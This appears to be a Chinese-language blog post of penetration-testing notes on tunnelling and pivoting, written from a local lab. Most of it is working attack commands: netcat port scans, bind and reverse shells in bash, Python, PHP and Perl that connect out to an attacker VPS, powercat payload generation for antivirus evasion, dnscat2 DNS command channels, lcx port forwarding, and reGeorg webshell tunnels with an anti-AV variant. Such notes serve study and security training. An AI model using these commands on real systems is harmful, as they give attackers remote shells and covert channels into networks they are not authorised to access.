三层隧道

网络层隧道

1.IPv6隧道
2.ICMP隧道
ICMP隧道工具有 PingTunnel,icmptunnel,lcmpsh,powershell icmp等
A.icmpsh
B.pingtunnel

icmpsh

https://github.com/bdamele/icmpsh
image.png

:::info
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh m.py IP(公网) IP(内网)
icmpsh.exe -t 公网IP -d 500 -b 30 -s 128
:::
使用本地模拟 ICMP
:::info
kali 192.168.145.130
win10 192.168.145.129
:::
image.png
image.png
image.png
全都是ICMP包的数据 ,证明是使用ICMP传输的

传输层隧道

Icx端口转发

:::info
1.Icx端口转发
A.内网端口转发
目标机器:
Icx.exe -slave 公网主机ip 4444 127.0.0.1 3389
VPS:
Icx.exe -listen 4444 5555

B.本地端口映射
lcx -tran 53目标主机ip 3389

没有找到exe 的 找一个 使用go开发的
https://github.com/cw1997/NATBypass
:::

netcat

端口扫描

nc -v -z 192.168.145.129 1-3389
image.png
这些是不存在的端口
这是存在的端口
image.png
也可以使用
nc -nv 192.168.145.129 1-80
扫描到还会返回网页数据
image.png

正向连接

正向连接

服务器执行:
nc -l -p 8888 -e cmd.exe  //windows
nc -lvp 8888 -e /bin/sh  //linux

本地主机执行:nc -vv 服务器ip 8888

反向shell

存在NC ,而且存在-e 参数

vps攻击机:nc -lvp 9999      // 监听9999端口
靶机:
nc 1.1.1.1 9999 -e /bin/bash  // Linux正向连接公网vps1.1.1.19999端口
nc 1.1.1.1 9999 -e cmd.exe  // Windows

不存在NC

vps攻击机:
nc -lvp 6666
靶机:
bash -I >& /dev/tcp/1.1.1.1/6666 0>&1   //而且是linux

存在python 环境

vps攻击机:nc -lvp 6666
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

存在PHP环境

vps攻击机:nc -lvp 6666
靶机:php -r '$sock=fsockopen("192.168.145.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

存在Perl环境

Vps攻击机:nc -lvp 6666
靶机:perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'=

文件传输

发送端

nc -v 接收端的ip 端口号<被传输文件名
nc -v 0.0.0.0  9999 < test.jar

接收端

nc -l -v 端口号>要写入的文件名(跟被传输文件名可以不一样)
nc -l -v 9999 > test1.jar

但是貌似不行,没-e参数
传过来了是这么个数据
image.png

nc作为代理

使用nc作为一个简单的端口转发

ncat -l 8080 | ncat 192.168.1.1 80

命令实现单向的转发,将链接到本机8080的连接转发到192.168.1.1:80
实现双向管道

mkfifo 2way
ncat -l 8080 0<2way | ncat 192.168.0.1.1 1>2way

powercat

:::info
下载 powercat
https://github.com/besimorhino/powercat
导入 powercat
先设置权限
Set-ExecutionPolicy Unrestricted
再导入
Import-Module .\powercat.psl
查看帮助 -h
powercat -h
:::

PowerCat常用命令:
-l 监听模式
-c连接到侦听器 
-p要连接或监听的端口 
-e执行 
-ep执行Powershell 
-r中继。格式"-r tcp: 10.1.1.1:443"
-u通过UDP传输数据
-dns通过dns传输数据 -dnsftNDS故障阀值 
-t超时选项。默认:60 -I输入:文件路径,字节数组或字符串 
-o控制台输出类型:''主机'',''字节'',''字符串'' 
-of输出文件路径 
-d连接后断开连接 
-rep中继器。断开连接后重启
-g生成有效载荷 
-ge生成编码有效载荷 
-h打印帮助信息

powercat 正向连接

powercat -l -p 4444 -e cmd -v

image.png
nc 连接
nc 192.168.145.129 4444
image.png

powercat 反向连接

nc -l -p 8080 -vv
image.png
Windows 端
powercat -c 172.23.85.7 -p 8080 -v -e cmd.exe
image.png

win7反向连接win2008 并返回Powershell

win7 执行
powercat -l -p 8080 -v
win 2008 执行
powercat -c 192.168.145.10 -p 8080 -v -ep

Powercat 文件传输

win7 执行
powercat -l -p 8080 -of 路径 -v
win2008
powercat -c 192.168.145.10 -p 8080 -i 路径 -v

Powercat 生成 payload(躲避杀软)

win7
powercat -l -p 8080 -e cmd -v -g >>shell.ps1
或者
powercat -l -p 8080 -e cmd -v -ge
这样会生成编码
可以在 08 执行
powercat -E 生成后的编码
win2008
./shell.ps1

Powercat - DNS协议(DNSCAT)

下载dnscat

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

再进入 server

cd dnscat2/server/
gem install bundler
bundle install

linux 端
ruby dnscat2.rb test.test -e open --no-cache
image.png

windows端
powercat -c 172.23.85.7 -p 53 -dns test.test -e cmd
image.png
就会返回linux 端
image.png
输入
session -i 1
进行连接
image.png
因为是dns 所以反应比较慢

powercat 转发

win08
powercat -l -v -p 9999 -e cmd
win7
powercat -l -v -p 8000 -r tcp:192.168.145.129:9999
linux
nc 172.23.85.7 8000 -vv

应用层隧道

SSH隧道

:::info
SSH协议原理
SSH中间人攻击原理
SSH隧道技术3种转发原理
三种转发技术的应用场景分析
动态转发的衍生利用技术
·本地端口转发+远程端口转发的应用场景
:::
在应用层的隧道通信技术是利用应用软件提供的端口发送数据,常用的隧道协议是SSH、 HTTP、 HTTPS和DNS。
image.png
image.png
大概理解为:
本质上就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。 SSH 端口转发能够提供两大功能: 1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。 2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。

SSH 配置文件

image.png
ssh 常用命令参数
:::info
创建隧道常用的参数说明:
-C:压缩传输,提高传输速度
-f:将ssh转入后台执行,不占用当前的shell
-N:建立静默连接(不回显ssh页面)
-g:允许远程主机连接本地用于端口转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发(socket代理)
-p:指定ssh端
:::

本地转发和远程转发

SSH 端口转发自然需要 SSH 连接,而 SSH 连接是有方向的,从 SSH Client 到 SSH Server 。而我们的应用也是有方向的,比如需要连接 LDAP Server 时,LDAP Server 自然就是 Server 端,我们应用连接的方向也是从应用的 Client 端连接到应用的 Server 端。如果这两个连接的方向一致,那我们就说它是本地转发。而如果两个方向不一致,我们就说它是远程转发。 另一个方便记忆的方法是,Server 端的端口都是预定义的固定端口(SSH Server 的端口 22,LDAP 的端口 389),而 Client 端的端口都是动态可供我们选择的端口(如上述例子中选用的 7001 端口)。如果 Server 端的两个端口都在同一台机器,Client 端的两个端口都在另一台机器上,那么这就是本地连接;如果这四个端口交叉分布在两个机器上,每台机器各有一个 Server 端端口,一个 Client 端端口,那就是远程连接

本地端口转发

:::info
ssh -L 本地端口:目标主机:目标端口 jump
ssh -L 2121:1.1.10:21 root@192.168.1.11
:::

都挺简单,由于 命令就几条,但是要配置环境就没去配置了
参考 :
https://blog.csdn.net/weixin_42742658/article/details/122735119
https://zhuanlan.zhihu.com/p/513691592
https://blog.csdn.net/qq_38844490/article/details/126776873

HTTP协议 —reGeorg隧道

reGeorg 简介
隧道工具 — reGeorg
https://github.com/sensepost/reGeorg
image.png
reGeorg 是一个内网穿透工具,基于 socks5,而且支持众多脚本。因为使用频繁,所以较多的杀软都会拦截,需要做免杀处理。
免杀 版本reG 下载地址:https://github.com/L-codes/Neo-reGeorg
此工具还做了加密,所以很多特征都没有了
-------------------------------------------------------------------------------------------------------------------
把其中的脚本放在目标主机上
这里把 tunnel.php 放在目标主机中 ,
image.png
这个文件似乎有点问题 换成 tunnel.nosocket.php
image.png
连接上了
配置socks代理
vim /etc/proxychains4.conf
image.png
image.png

成功执行

DNS 隧道工具

iodine :
https://github.com/yarrick/iodine
dnscat:
https://github.com/iagox86/dnscat2

隧道技术的优势和劣势

image.png

  • 17
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值